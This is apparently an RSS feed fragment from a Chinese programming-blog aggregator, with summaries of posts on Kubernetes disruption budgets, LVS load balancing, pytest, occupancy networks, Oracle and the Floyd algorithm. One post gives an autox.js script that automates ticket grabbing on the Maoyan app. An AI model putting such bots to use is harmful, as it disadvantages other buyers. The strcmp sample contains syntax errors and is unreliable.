      <guid>https://bchobby.github.io/posts/bc10de50841e40d7e91504ea1b66e5ca/</guid>
      <description>在学习K8S时，系统管理人员需要了解有哪些Disruption（损坏）可能发生在Pod上。&#xA;1. 容器损坏 1.1 非自愿的损坏 包括：节点资源耗尽、管理员操作失误、集群硬件损坏等等。为了弥补此类损失，我们应当确保Pod申请合适的计算资源并为程序准备足够的副本数目，若想保证更高的高可用，需要将副本分布在多个机架上。&#xA;1.2 自愿的损坏 集群中自愿的Pod损坏不同于我们常规意义上的“损坏”，它指的是由集群管理员或应用管理员主动执行的导致Pod删除、停止或重启的操作。这些操作包括：删除Pod的控制器、修改Pod定义致其重启、删除Pod（以便重新调度或单纯的删除）、排空节点（以便升级维护或集群收缩），这些操作可能是管理员执行的，也可能是由设定的脚本执行的。自愿发生的损坏频率不定，所以K8S提供了Disruption Budget用于在有可能高频次地发生自愿毁坏的情况下，仍能运行高可用的应用程序。&#xA;1.3 Disruption Budget 管理员可以为每个应用创建一个PodDisruptionBudget对象，此对象限制了在应用程序发生自愿的损坏时，有多少个副本可以被同时停止。例如：一个前端应用程序应当保证在可用的副本数目不能低于总副本数目的一定比例，若某应用程序有5个副本，而该应用的PodDisruption对象规定了最小副本数目为4（副本期望值），则此时系统只会允许1个而不是更多的副本进行自愿损毁。鉴于此保护特性，管理员在集群维护时，应当使用兼容PodDisruptionBudget的工具，避免Pod或Deployment被直接删除。兼容PodDisruptionBudget的工具例如kubectl drain，该工具会尝试将节点上的所有Pod全部驱逐，在驱逐指令遭到拒绝时，将会周期性地请求直到该节点上的所有Pod都被终止或超出了设定的超时时间。&#xA;那么PodDisruptionBudget如何完成此操作呢？PDB通过Pod的.metadata.ownerReferences查找到其对应的控制器；通过 控制器的.spec.replicas字段来确定期望的副本数；通过控制器的abel selector来确定哪些Pod属于同一个应用程序。但是PDB并不能阻止非自愿毁坏的发生，当这类毁坏发生时，会被计入当前毁坏数里，通过kubectl drain驱逐Pod时，Pod将被gracefull terminate。举个例子：假设某集群中共有三个节点，每个节点的资源可容纳两个Pod。node01上拥有Podpod-a与pod-x，node02上拥有pod-b，node03上拥有pod-c。其中，pod-a、pod-b与pod-c同属一个应用程序，且具有对应的PDB对象，限制了其最少Pod数目为2，pod-x为独立于此应用程序的Pod，没有PDB与之对应。在管理员想要进行集群维护升级时，需要排空节点中的Pod以便更新机器。首先排空node01，在使用kubectl drain进行节点的排空时，该节点上的Pod会被驱逐，pod-a与pod-x都进入了terminating状态。管理pod-a与pod-x的控制器检测到Pod正在停止，立刻做出决策分别创建新的Podpod-a1与pod-x1，由于当前节点资源已不可用，需要将Pod调度到集群中的其它节点，于是pod-a1被调度到了node02，pod-x1被调度到了node03。此时，考虑到节点资源限制，集群中剩余两台节点已无法支持调度更多的Pod。此时，若管理员继续选择排空node02，kubectl drain按照顺序依次驱逐pod-b与pod-a1。在驱逐pod-b时，操作将被接受，在驱逐pod-a1时，操作将被拒绝，因为该应用程序的PDB规定了同一时刻至少要有两个Pod可用，否则其可用Pod将只剩一个。在进行pod-b的驱逐操作中，控制器创建一个pod-b1来代替pod-b，但由于集群已无剩余可用资源，没有办法进行pod-b1的调度，所以此时的kubectl drain将再次被拒绝。如此，集群的维护操作将无法继续，除非管理员将更多的节点添加入集群。在此时，我们将不得不接受更新所导致的停机，或故障转移至另外的集群副本，但这样带来的代价将是极大的，所以我们最好编写容错的应用程序并使用PDB。&#xA;在我们无法防止应用被自愿损坏时，我们应当思考如何应对应对此类损坏。对于常见的应用，可以分为：&#xA;无状态的前端：最低可用不得低于90%；单实例有状态的应用：未经允许不得随意关闭应用程序，可以不使用PDB并容忍偶尔的停机；或使用PDB设置最大不可用为0，与集群管理员达成一致，做好应对后续处理的准备；多实例有状态的应用：不能将实例数降低至某个值，否则会写入失败，可以将最大不可用设为1，或设置最小可用数目为最低数目可以重新开始的批处理任务：在发生自愿损坏时，Job仍需要完成其任务，此时不需要设置PDB，Job会新建一个Pod用于替换已损坏的Pod。 在指定可用或不可用比例时，我们有时很难判断在计算结果不是整数时究竟应当如何取值，此时系统将选择向上取整。&#xA;2. 集群的LVS负载均衡 系统扩展方式 向上扩展 升级机器向外扩展 增加机器 集群类型 LB 负载均衡HA 高可用HPC 高性能 均衡负载的实现 硬件 购买机器软件 LVS Nginx等 会话保持的负载均衡 session stickycookie绑定session replicationsession复制session serversession服务器 keepalived + LVS用于避免会话调度器单点失败LVS由章文嵩博士开发 后来被Linux服务器集成至内核中 工作原理为 VS根据请求报文的目标IP和目标协议及端口将其调度转发至某RS 根据调度算法来选择RS VS 即virtual server 用于调度RS 即Real server 用于真正提供服务L4 四层路由器或交换机CIP 客户端IPVIP VS的外网IPDIP VS的内网IPRIP RS的IP访问流程 CIP &amp;lt;–&amp;gt; VIP == DIP &amp;lt;–&amp;gt; RIP LVS集群的类型 lvs-nat 修改请求报文的目标IP 多目标IP的DNAT(变目标IP)lvs-dr LVS默认模式 操纵封装新的MAC地址(变MAC)lvs-tun 在原请求IP报文之外新加一个IP首部lvs-fullnat 修改请求报文的原和目标IP LVS工作模式 VS/NAT 服务器类型 任意类型网络模式 私网地址服务器数量 10-20服务器网关 load balancer VS/TUN 服务器类型 支持Tunneling网络模式 LAN/WAN服务器数量 100服务器网关 自己的路由器 VS/DR 服务器类型 无ARP设备网络模式 LAN服务器数量 100服务器网关 自己的路由器 静态调度算法 RR 轮询WRR 加权调度SH 原哈希 用于实现session绑定 将来自于同一个IP的请求始终法网第一次挑中的RSDH 目标地址哈希 正向代理 将发往同一个目标地址的请求始终发往第一次挑中的RS　如宽带运营商 动态调度算法 考虑后端负载情况 overhead负载 activeconns活动连接数 inactiveconns非活动连接数 LC least connections 适用于长连接 ovh = act * 256 + ina 值越小 调度越多WLC 加权的LC 根据性能为机器设置好权重 ovh(LC)/weight 值越小 调度越多SED shortest expection delay 初始权重高者优先 用于解决加权LC集群使用初期act为0的情况 ovh = (act + 1) * 256 / weightNQ never queue 第一轮均匀分配 后续使用SEDLBLC locality-based LC 动态D 适用于根据负载状态实现正向代理LBLCR　LBLC with replication 带复制的LBLC 用于解决LBLC负载不均衡问题　从负载重的复制到负载轻的RS 3.</description>
    </item>
    <item>
      <title>Pytest（一）：pytest的使用简介、jenkins&#43;allure报告生成</title>
      <link>https://bchobby.github.io/posts/49f147a4b324184931d82f891a704d3c/</link>
      <pubDate>Tue, 24 Oct 2023 16:17:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49f147a4b324184931d82f891a704d3c/</guid>
      <description>目录&#xA;0、最新总结：&#xA;Jenkins的安装：&#xA;Jenkins在windows环境下的下载与安装_冷凝娇的博客-CSDN博客&#xA;一、pytest的安装及简介&#xA;二、pytest使用规则&#xA;三、pytest初始化&#xA;3.0.fixture(最推荐conftest+fixture)&#xA;3.1 模块级&#xA;3.2 类级别&#xA;3.3 方法级别&#xA;3.4 目录级别&#xA;四、 断言assert（与unitest的断言有差异）&#xA;五、pytest的执行&#xA;六、报告展示&#xA;0、最新总结： pytest-html#生成html报告 pytest-xdist # 测试用例的分布式执行。多线程 pytest-ordering # 改变用例执行顺序 pytest-rerunfailures #重新执行 allure-pytest # 生成较为美观的测试报告 pytest-repeat # 指定重复用例执行次数 --pytest文件命名的基本规则： 1.模块名必须以test_开头or_test结尾 2.测试类必须以Test开头，而且，类不允许含有__init__方法 3.测试方法默认以test开头 --目标：使用pytest执行基本的单元测试 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 0.首先了解pytest运行都有哪些常用的入参，各自是什么意思，如何使用？ -s:输出调试信息，其中包含在代码中print的内容 -v:显示更为详细的信息（相对与-s而已，-vs更详细），备注：-vs这两个参数一起使用 -n:支持多线程、更或者分布式运行测试用例 --reruns {num}:失败用例重新执行测试设置 -m:指定装饰器装饰的case的运行用例(注意：1.装饰器装饰case,@pytest.mark.o; 2.pytest.ini中配置 markers = o: TTT smoke: just a smoke test login: login api 3.执行时，加上参数 -m 模块) -k:根据测试用例的部分字符串指定要执行测试用例，eg:pytest -vs ./testcase -n 2 -x -k &#39;test&#39; --html path：生成html报告 -x:只要有一个case失败，所有case停止 --maxfail=2:出现2个用例失败就停止；即：--maxfail={num}设置用例最大失败次数 --alluredir path:临时json报告，再生成allure报告：os.</description>
    </item>
    <item>
      <title>基于自动化工具autox.js的抢票（猫眼）</title>
      <link>https://bchobby.github.io/posts/7f91082c9b36079079fa7928339d4726/</link>
      <pubDate>Tue, 24 Oct 2023 15:53:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f91082c9b36079079fa7928339d4726/</guid>
      <description>1.看到朋友圈抢周杰伦、林俊杰演唱会票贼难信息，特研究了一段时间，用autox.js写了自动化抢票脚本，购票页面自动点击下单（仅限安卓手机）。&#xA;2.脚本运行图&#xA;3.前期准备工作&#xA;（1）autox.js社区官网：AutoX.js&#xA;（2）b站上学习资料：10分钟学会AutoX.js hello world_哔哩哔哩_bilibili&#xA;AutoX.js控件操作_哔哩哔哩_bilibili&#xA;4.源码&#xA;// 检查无障碍服务是否已经启用，如果没有启用则跳转到无障碍服务启用界面，并等待无障碍服务启动；当无障碍服务启动后脚本会继续运行。 auto.waitFor(); //打开猫眼app app.launchApp(&#34;猫眼&#34;); openConsole(); console.setTitle(&#34;猫眼 go!&#34;,&#34;#ff11ee00&#34;,30); main(); //获取输入的场次信息 function getPlayEtc(){ var playEtc = rawInput(&#34;请输入场次关键字(按照默认格式)&#34;, &#34;周六&#34;); if (playEtc == null || playEtc.trim()==&#39;&#39;) { alert(&#34;请输入场次信息!&#34;); return getPlayEtc(); } console.log(&#34;手动输入的场次信息：&#34;+playEtc); return playEtc; } //获取输入票价信息 function getTicketPrice(){ var ticketPrice = rawInput(&#34;请输入票价关键字(按照默认格式)&#34;, &#34;788&#34;); if (ticketPrice == null || ticketPrice.trim()==&#39;&#39;) { alert(&#34;请输入票价信息!&#34;); return getTicketPrice(); } console.log(&#34;手动输入的票价信息：&#34;+ticketPrice); return ticketPrice; } //获取输入的抢票时间 function getSellTime(){ var sellTime = rawInput(&#34;</description>
    </item>
    <item>
      <title>Python10.24</title>
      <link>https://bchobby.github.io/posts/d98a23727b7e359f9f0bd3d86cb34b23/</link>
      <pubDate>Tue, 24 Oct 2023 15:10:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d98a23727b7e359f9f0bd3d86cb34b23/</guid>
      <description># class Car: # def __init__(self, color): # self.color = color # # auto = True # brand = &#34;&#34; # size = &#34;&#34; # mod = &#34;刹车&#34; # # def __del__(self): # print(&#34;del&#34;) # # def set_color(self): # print(f&#34;车的颜色为：{self.color}&#34;) # # # car_one = Car(&#34;红色&#34;) # car_one.set_color() # car_one.brand = &#34;a123&#34; # car_one.size = &#34;s456&#34; # car_one.auto = False # car_one.mod = &#34;启动汽车&#34; class Car: def __init__(self, brand, model, auto_drive=False): self.</description>
    </item>
    <item>
      <title>Occupancy占据网络论文讲解与分析</title>
      <link>https://bchobby.github.io/posts/5df0d5647be5ff66486943b76eb5a66d/</link>
      <pubDate>Tue, 24 Oct 2023 15:00:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5df0d5647be5ff66486943b76eb5a66d/</guid>
      <description>一、MonoScene 1.概要 a.使用单目相机，不用深度估计和点云来实现占据网络。&#xA;b.提出了一种2D-3D的一种转换方法。&#xA;c.在3D-unet底部加入3DCRP来捕获长距离的一个信息。&#xA;2.模型结构 图像先经过一个2D的unet结构，这里论文里用的预训练的EfficientNet，然后经过一个论文里提出的FLOSP模块，从2D到3D，不过是一个多尺度的投影，再上采样concate。这里的转换模块个人感觉和FastBEV一样。后续3Dunet是一个简单的编解码网络，加入了空洞卷积和作者提出的一个3DCRP的结构。最后加入一个head完成多类别的一个语义分割 。&#xA;3.2D到3D转换(FLoSP) 说实话我感觉这个和FastBEV一样，这个多尺度的图片投影到不同的尺度的3D体素中，然后再聚合不同尺度的3D特征。 4.3D CRP 因为语义分割场景高度依赖于上下文的一个关系，所以论文里在3Dunet底部加入了一个CRP的结构，从而为网络提供了一个全局的感受野。这里因为全局语义分割存在极度的不均衡，所以单纯的二分类其实是次要的，论文里提出了体素与体素之间的一个关系，从而增强模型的上下文之间的关联。这里怎么划分体素之间的关系我有点看不懂原文的描述，原文这里很乱。&#xA;二、 VoxFormer 1.摘要 a.提出一种两阶段的框架，使用图像生成完整的3D体素化语义场景。&#xA;b.预测图像深度，再生成稀疏的体素，使用transformer进一步得到完整的体素语义场景 。&#xA;2.模型结构 先对图像的特征进行提取，同时对其深度也进行估计，根据相机内外参投影到体素里，得到一个稀疏的Q,这个Q与图像特征进行交叉注意力机制，加上mask token后再做一个自注意力的操作，相当于对语义场景进行补全，最后上采样做多类别语义分割。&#xA;3. 第一阶段的query 初始化定义的query是忽略类别的，h*w*z*d，这个尺度相较于最终的语义分割尺度进行了2倍降采样，主要是为了提高模型的一个鲁棒性，防止因为深度预测误差过大，像素点没有落到该有的体素内。&#xA;根据深度估计和相机内外参，我们可以得到许多3D空间的点云，但此时这个点云是非常不可靠的，特别是在远处，几个点云决定了一大片区域的深度。为了降低深度容错和提高模型的鲁棒性，使用了一个简化版的unet网络对Min(H*W*D)进行卷积占据预测，输出Mout(h*w*d)表示是否占据。&#xA;根据是否占据，我们在q里面选择占据的query出来，组成Qp。这里有个疑问Qp的个数会变化呀？不是固定数量的query也可以吗？这里的好处是跳过空白的区域，只对图像上看到的地方进行query。&#xA;4.第二阶段补全query后的语义分割 使用deformable交叉注意力机制，Qp有一个3D坐标，投到图像上有一个参考点，根据偏移和权重，在多个时序图上进行特征的提取。经过几层可变形交叉注意力之后，我们把Qp与mask token结合得到完整的体素特征。然后使用可变形自注意力机制，对完整的体素特征进行细化。然后再上采样到原始的分辨率，对其进行多类别语义分割。&#xA;这里的mask token是一个d维的可学习向量，主要用于填充第一阶段没有对应图像的一些体素，同时这些mask token也加入了位置编码，来让其对自己的位置有一定的了解。&#xA;三、TPVFormer 1.摘要 a.提出了一种新颖的三维空间表示方法，相较于体素，计算量大大下降，相较于BEV，其对空间的细粒度三维结构表示更加丰富。&#xA;b.使用可变形注意力机制生成空间三视图，可以完成任意分辨率的空间占据表示。&#xA;2.模型结构 图像先通过backbone和Neck提取相应的特征，然后TPV query向图像进行可变形注意力机制查询，再加上三个平面之间的特征交互，最终生成TPV的特征，我们根据这个图，可以插值得到最终3D空间的占据预测。这里的TPV query是最终三个视图里面的每个像素点，t∈T。&#xA;3.Image cross attention 在进入这个模块时，先对TPV query添加位置编码。 考虑到TPV query的个数以及图像像素的个数，所以我们不进行全局注意力机制，而使用可变形注意力机制。比如一个俯视图的TPV query，他有一个xy，那么我们对z进行间隔采样，会得到许多3D点，然后我们对这些3D点向一张图像做投影，可以得到一些有效投影点，对这些有效投影点做可变形注意力机制，最后对六张图像的可变形注意力机制结果求平均。&#xA;4.Cross-View Hybrid-Attention 因为上面每个视图单独查询图像特征，他们之间并没有充分的交互，所以提出交叉视图混合注意力机制，有利于上下文特征的提取。比如俯视图上一个点，我们直接在其周围生成一些参考点，然后沿着z生成几个3D点，投影到前视图和左视图，又能得到几个参考点，对这些参考点做可变形注意力机制，得到最终的特征。 四、SurroundOcc 1.摘要 a.使用由粗到细的思想策略，先生成小分辨率的体素特征，再逐步上采样，生成密集的体素特征。&#xA;b.针对占据网络稀疏的GT监督，论文提出了一种生成密集占据标签的方法。&#xA;2.模型结构 首先提取图像的多尺度特征信息，然后使用类似于bevformer的思想，使用可变形交叉注意力机制，完成2D到3D的特征转换，后续再加一些3D卷积。把低分辨率的3D体素特征逐层上采样合并，最后加head完成预测。我们对不同尺度的3D体素都施加监督，不过监督权重呈衰减形式，从上到下由大到小。&#xA;3.密集占据真值生成 多帧点云拼接，将点云分为动静态，静态根据车身位姿变化堆叠在一起，然后动态的根据track id合并填充进去。这样聚合完还是会存在一些空洞的区域，根据其邻域中的空间分布计算法向量，使用poisson曲面重建算法来进行补全。最后使用最近邻算法来对空白网格的语义进行填充。&#xA;五、OpenOcc 1.摘要 a.使用AAP(Augmenting And Purifying)方法对nuScenes数据生成密集的占用语义标签。&#xA;b.提出lidar和camera结合的占用网络，同时采用由粗到细的cascade策略提升性能。&#xA;2.模型结构 LiDAR分支先对点云进行体素化操作，然后使用3D稀疏卷积得到(D/S, H/S,W/S)特征 ，后续解码器将其降采样再上采样合并，最终softmax进行3D语义预测。</description>
    </item>
    <item>
      <title>windows中Oracle： ORA-01031 insufficient privileges主机验证失败 主机sqlplus / as sysdba需要用户名密码</title>
      <link>https://bchobby.github.io/posts/ffce48e256adf8efc90b17cbe8c366ed/</link>
      <pubDate>Tue, 24 Oct 2023 13:45:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffce48e256adf8efc90b17cbe8c366ed/</guid>
      <description>操作oracle需要管理员sys权限进行配置，但是主机上输入sqlplus / as sysdba还是要密码，不能直接连接 1，第一种情况 家庭版的Windows系统的解决办法：&#xA;第一步：在开始菜单拦找到Oracle-×××，在里面选择&#xA;Administration Assistant for Windows&#xA;第二步：进入了orammcadm11ZHS-[Administration Assistant for Windows]&#xA;第二种情况 找到oracle的安装目录&#xA;一、检查sqlnet.ora（WINDOWS下位于%ORACLE_HOME%NETWORK/ADMIN目录）是否包含这句：SQLNET.AUTHENTICATION_SERVICES=(NTS)经检查，该配置文件没问题&#xA;如：&#xA;E:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN</description>
    </item>
    <item>
      <title>【运筹优化】最短路算法之Floyd算法 &#43; Java代码实现</title>
      <link>https://bchobby.github.io/posts/52199c25e887428202869800a6807b1d/</link>
      <pubDate>Tue, 24 Oct 2023 13:13:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52199c25e887428202869800a6807b1d/</guid>
      <description>文章目录 一、Floyd算法简介二、Floyd算法思想2.1 路径矩阵2.2 状态转移方程 三、Floyd算法 java代码四、测试五、优缺点分析 一、Floyd算法简介 Floyd算法又称为插点法，是一种利用动态规划的思想寻找给定的加权图中多源点之间最短路径的算法，与Dijkstra算法类似。该算法名称以创始人之一、1978年图灵奖获得者、斯坦福大学计算机科学系教授罗伯特·弗洛伊德命名。&#xA;在计算机科学中，Floyd-Warshall算法是一种在具有正或负边缘权重（但没有负周期）的加权图中找到最短路径的算法。算法的单个执行将找到所有顶点对之间的最短路径的长度（加权）。&#xA;二、Floyd算法思想 2.1 路径矩阵 通过一个图的权值矩阵求出它的每两点间的最短路径矩阵。&#xA;从图的带权邻接矩阵A=[a(i,j)] n×n开始，迭代地进行n次更新，即由矩阵D(0)=A，按一个公式，构造出矩阵D(1)；又用同样地公式由D(1)构造出D(2)；……；最后又用同样的公式由D(n-1)构造出矩阵D(n)。矩阵D(n)的i行j列元素便是i号顶点到j号顶点的最短路径长度，称D(n)为图的距离矩阵，同时还可引入一个后继节点矩阵path来记录两点间的最短路径。&#xA;采用松弛技术（松弛操作），对在i和j之间的所有其他点进行一次松弛。所以时间复杂度为O(n^3);&#xA;2.2 状态转移方程 其状态转移方程如下： map[i,j]:=min{map[i,k]+map[k,j],map[i,j]}；&#xA;map[i,j]表示i到j的最短距离，K是穷举i,j的断点，map[n,n]初值应该为0，或者按照题目意思来做。&#xA;当然，如果这条路没有通的话，还必须特殊处理，比如没有map[i,k]这条路。&#xA;三、Floyd算法 java代码 @Data public class Floyd { // 距离矩阵 double[][] distance; /** * @param distance * @Description 构造函数 * @Author WSKH */ public Floyd(double[][] distance) { this.distance = distance; } /** * @Description 进行求解 * @Author WSKH */ public void solve() throws IOException, ClassNotFoundException { double[][] cloneDistance = copy2DArr(distance); // 中间点 for (int i = 0; i &amp;lt; distance.</description>
    </item>
    <item>
      <title>Vue中使用Web Serial API连接串口，实现通信交互</title>
      <link>https://bchobby.github.io/posts/075bd23bffd7ab22a86bb24fcd4fbd75/</link>
      <pubDate>Tue, 24 Oct 2023 12:32:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/075bd23bffd7ab22a86bb24fcd4fbd75/</guid>
      <description>Vue中使用Web Serial API连接串口，实现通信交互 Web Serial API，web端通过串口与硬件通信;&#xA;该API是JS本身 navigator 对象上就独有的，所以与Vue和React框架开发都没有太大的关系，&#xA;串口是一个双向通信接口，允许字节发送和接收数据。&#xA;Web Serial API为网站提供了一种使用JavaScript对串行设备进行读写的方法。串行设备可以通过用户系统上的串行端口连接，也可以通过模拟串行端口的可移动USB和蓝牙设备连接。&#xA;换句话说，Web Serial API通过允许网站与串行设备(如微控制器和3D打印机)通信来连接网络和物理世界。&#xA;这个API也是WebUSB的好伙伴，因为操作系统要求应用程序使用它们的高级串行API而不是低级的USB API与一些串行端口通信。&#xA;Web Serial API 是一项 Web 技术，用于在浏览器中访问串行端口设备（如 Arduino、传感器等）并与之通信。它提供了一组 JavaScript 接口，使得 Web 应用程序可以通过 USB 串行端口连接到硬件设备，并进行数据发送和接收操作。&#xA;判断浏览器支持串口通信 if (&#34;serial&#34; in navigator) { console.log(true); } else { console.log(false); } 常用的API requestPort----获取授权串口open-----打开串口close—关闭串口(串口关闭前，需要释放锁住的流)cancel—立即退出读取的循环，然后去调用releaseLock，最后调用close方法releaseLock—Reader和.Writer的释放方法read—port.readable.getReader()的读取字节数组方法write—port.writable.getWriter()的写入方法 参考文档 Web Serial API&#xA;MDN Web Docs Web Serial API&#xA;示例完整代码 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;serial-port&#34;&amp;gt;测试串口&amp;lt;/div&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;connectToSerialPort&#34;&amp;gt;连接串口&amp;lt;/el-button&amp;gt; &amp;lt;el-input v-model=&#34;inputData&#34; maxlength=&#34;50&#34; placeholder=&#34;输入发送数据内容&#34; show-word-limit type=&#34;textarea&#34; /&amp;gt; &amp;lt;el-button type=&#34;</description>
    </item>
    <item>
      <title>程序员纪念日</title>
      <link>https://bchobby.github.io/posts/16164e4d40901ee8915705c628fc055b/</link>
      <pubDate>Tue, 24 Oct 2023 11:29:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16164e4d40901ee8915705c628fc055b/</guid>
      <description>1024这一特殊的节日，爱自己</description>
    </item>
    <item>
      <title>Unity - 导出的FBX模型，无法将 vector4 保存在 uv 中（使用 Unity Mesh 保存即可）</title>
      <link>https://bchobby.github.io/posts/68fcab848f7ba6cbf16ca97d3f028757/</link>
      <pubDate>Tue, 24 Oct 2023 11:12:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68fcab848f7ba6cbf16ca97d3f028757/</guid>
      <description>文章目录 目的问题解决方案验证保存为 Unity Mesh 结果 - OK保存为 *.obj 文件结果 - not OK，但是可以 DIY importer注意References 目的 备忘，便于日后自己索引&#xA;问题 为了学习了解大厂项目的效果：&#xA;上周为了将 王者荣耀的 杨玉环 的某个皮肤的头发效果还原&#xA;所以我想直接抓模型，再还原 shader&#xA;我使用的还是以前的老方法： GPA + 夜神模拟器，具体可以查看以前的另一篇教程，具体参考：教你如何使用GPA导出模型，另送一个 GPA CSV2MESH Tool in unity&#xA;抓出来的数据，导出 FBX 后，我看不出什么异常&#xA;直到，我逐行的 shader 还原效果的时候&#xA;发现 vertex input 数据有 float4 uv1 : TEXCOORD1; float4 uv2 : TEXCOORD2;&#xA;但是发现 shader 调试发现，uv1, uv2 使用颜色输出都发现了数据不对的 BUG&#xA;然后我还想在 unity Game 视图下，使用 RenderDoc 抓帧分析一下&#xA;结果 Load RenderDoc 之后，直接导致 unity 闪退</description>
    </item>
    <item>
      <title>编写自己的strcmp函数</title>
      <link>https://bchobby.github.io/posts/7a5629afc25588e9cf4c27c43485840b/</link>
      <pubDate>Tue, 24 Oct 2023 10:58:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a5629afc25588e9cf4c27c43485840b/</guid>
      <description>1.首先理解strcmp函数的实现过程 strcmp（字符串1，字符串2）实现过程是从左到右对字符串元素逐个比较其ASCII码的大小比较，遇到不一样的字符或者‘\0‘结束比较，str1=str2,返回0，str1&amp;lt;str2,返回负整数，srt1&amp;gt;str2返回正整数。&#xA;2.利用函数来实现 #include&amp;lt;stdio.h&amp;gt; void my_stecmp(char * s1,char * s2)//无返回值函数 形参类型为字符指针 { char * one = s1;//将指针指向s1 不修改字符串常量 char * two = s2; whlie (*one !=&#39;\0&#39; &amp;amp;&amp;amp; *two ！= &#39;\0&#39; ){ //当两个字符串不是空时 if(*one == *two){ //如果两个字符串对应位置元素相等 注意要写== one++;//字符串1移动到下一个元素 two++;//字符串2移动到下一个元素 continue；回到循环 } break; 跳出循环 此时指针指向两数组第一个不同元素 } int i = *one - *two;//用i来记录字符串1和字符串2对应元素的ASCII码差值 if（i&amp;lt;0）{ printf（&#34;s1 &amp;lt; s2&#34;; } else if(i&amp;gt;0){ printf(&#34;s1 &amp;gt; s2&#34;); } else if(i==0){ printf(&#34;s1 == s2&#34;); } return ; } int main(int argc,const char*argv[]) { char s1 [20];//定义一个字符串数组 用来输入字符串 char s2 [20]; scanf(&#34;</description>
    </item>
    <item>
      <title>又是一年猿好日</title>
      <link>https://bchobby.github.io/posts/b395bc2710a9c546a0b3b7575106c2ba/</link>
      <pubDate>Tue, 24 Oct 2023 10:14:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b395bc2710a9c546a0b3b7575106c2ba/</guid>
      <description>一转眼又到了一年一度的程序员节，1024</description>
    </item>
    <item>
      <title>【Python小练习】使用Python编写POC 脚本-下篇</title>
      <link>https://bchobby.github.io/posts/e80c1a7d9e7b1acee54cbe30a1adb40c/</link>
      <pubDate>Tue, 24 Oct 2023 09:56:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e80c1a7d9e7b1acee54cbe30a1adb40c/</guid>
      <description>文章目录 常用库通用脚本模版 常用库 urllib – 用于操作URL的模块&#xA;urllib.request -- 打开和读取url urllib.error -- 包含 urllib.request 抛出的异常 urllib.parse -- 解析 URL requests – 实现的简单易用的HTTP库，比urllib更加简洁&#xA;requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10) url —— 请求的url headers —— 请求时构造的请求头 data —— 请求时带入的数据 verify —— 取消https告警 proxies —— 代理设置 timeout —— 请求响应超时处理 re – 正则表达式模块，使用简洁的字符表达式，匹配字符串中想要的结果&#xA;使用的正则语法，建议将请求源码复制到在线正则匹配网站，进行正则语法构造。 正则在线测试：https://c.runoob.com/front-end/854 json – 将Python数据处理成json格式或者将json数据处理成Python数据格式&#xA;json.dumps 将 Python 对象编码成 JSON 字符串 json.loads 将已编码的 JSON 字符串解码为 Python 对象 lxml – XML和HTML的解析器，其主要功能是解析和提取XML和HTML中的数据，也可以定位特定元素及节点的信息&#xA;lxml 定位元素节点涉及到Xpath语法 from lxml import etree html = etree.</description>
    </item>
    <item>
      <title>HTML 显示本地电脑时间（精确到毫秒）</title>
      <link>https://bchobby.github.io/posts/6d03e8bd83ab209e153a4723b77a3de1/</link>
      <pubDate>Tue, 24 Oct 2023 09:48:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d03e8bd83ab209e153a4723b77a3de1/</guid>
      <description> &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;实时显示本地电脑时间（精确到毫秒）&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1&amp;gt;本地电脑时间（精确到毫秒）：&amp;lt;/h1&amp;gt; &amp;lt;h1 id=&#34;clock&#34;&amp;gt;&amp;lt;/h1&amp;gt; &amp;lt;script&amp;gt; function updateClock() { const now = new Date(); const year = now.getFullYear(); const month = String(now.getMonth() + 1).padStart(2, &#39;0&#39;); const day = String(now.getDate()).padStart(2, &#39;0&#39;); const hours = String(now.getHours()).padStart(2, &#39;0&#39;); const minutes = String(now.getMinutes()).padStart(2, &#39;0&#39;); const seconds = String(now.getSeconds()).padStart(2, &#39;0&#39;); const milliseconds = String(now.getMilliseconds()).padStart(3, &#39;0&#39;); const timeString = `${year}-${month}-${day} ${hours}:${minutes}:${seconds} ${milliseconds}`; document.getElementById(&#39;clock&#39;).textContent = timeString; } // 每毫秒更新一次时间 setInterval(updateClock, 1); &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; </description>
    </item>
    <item>
      <title>java特殊文件 属性文件properties和XML文件</title>
      <link>https://bchobby.github.io/posts/bb4f6b664ccec5f4f7eb75d4baa5cf48/</link>
      <pubDate>Tue, 24 Oct 2023 09:35:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb4f6b664ccec5f4f7eb75d4baa5cf48/</guid>
